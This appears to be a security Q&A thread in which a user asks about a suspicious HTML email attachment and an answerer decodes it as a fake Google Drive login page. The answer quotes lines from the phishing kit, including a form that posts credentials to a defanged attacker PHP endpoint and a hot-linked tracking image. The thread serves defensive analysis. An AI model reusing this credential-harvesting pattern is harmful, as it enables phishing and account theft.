8

Today I got an email with an htm attachment, the mth contains the below code:

<html>  
    <head>
        <script>
            var url = ""
            window.location.href= url;
        </script>
    </head>
</html>

The url variable was assigned a huge value of 247251 characters, I feel those are somewhat garbage characters just to increase the length of the URL.

I intentionally did not write the url contents just to avoid I am not exposing any security threat to others. Here is the pastebin of the garbage I'm referring to.

If I open this in any web browser what all harm it can do ?

Improve this question
0

1 Answer 1

Reset to default
12

What is it?

I decoded your "garbage." This is base64 encoding, and is far too large to place here. Here's the decoded result: http://pastebin.com/NBV4iY2s

This seems to be an attachment of login page for Google Drive. In fact, everything is lifted from Google Drive, with the exception of a few items.

This is a phishing attempt.

As you can see from line number 2642, it's actually trying to send the data to a web server in Russia:

<form action="hxxp://www.gladiolusfashion.ru/js/fancybox/country.php" id="signup" method="post" name="signup">

It's basically just trying to steal your Google account details. This is a run-of-the-mill phishing attempt.

However, there's another potential issue: an image hot-linked from the U.K:

Confirm your identity.<img align="right" border="0" height="33" src="hxxp://www.bountifulbreast.co.uk/images/100Secure.jpg" width="83"></h1>

What that likely does is alert the owner of that website that an attempt was made to access that particular image. If the owners of those websites are the same, then your IP address and access attempt could then be logged. This could help them to determine the effectiveness of their phishing attacks. "How many people view this vs. how many fall for it?"

It's also possible that the web server for the images were also compromised. It may either be compromised, or just hot-linked. It's difficult to tell.

At the top, to avoid alerting Google's hot-link phishing detection, the phishers had no choice but to hot-link to a free icons website to give it the appearance of legitimacy. You can see this on lines 2585 and 2586:

<link rel="shortcut icon" href="hxxp://icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png">
<link rel="apple-touch-icon" href="hxxp://icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png">

Finally, when you submit data, it sends you to a fake page saying that the requested file doesn't exist. (pastebin)

TL;DR Breakdown

This phishing attempt is trying to do a few things:

  1. Upon opening the attachment, it will attempt to redirect you to a page with a fake Google Drive login, and try to trick you into entering your credentials.
  2. If you were dumb enough to enter your credentials, they will be submitted to a php script located on a server in Russia.
  3. Once submitted, you will receive a fake login page (pastebin of this) telling you that the file doesn't exist.

Conclusion

Don't bother opening it. It's trying to get you to enter your credentials.

Improve this answer
2
  • Thanks for your detailed explanation. I accidentally opened the attachment but closed it immediately. Hoping nothing secret has stolen.
    – Kaushalendra Mishra
    Commented Dec 19, 2015 at 4:46
  • 1
    I went through the entirety of the Javascript code, and did not find anything that could be stealing your buffalos. As long as you did not enter your credentials, you should be fine.
    – Mark Buffalo
    Commented Dec 19, 2015 at 5:25

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .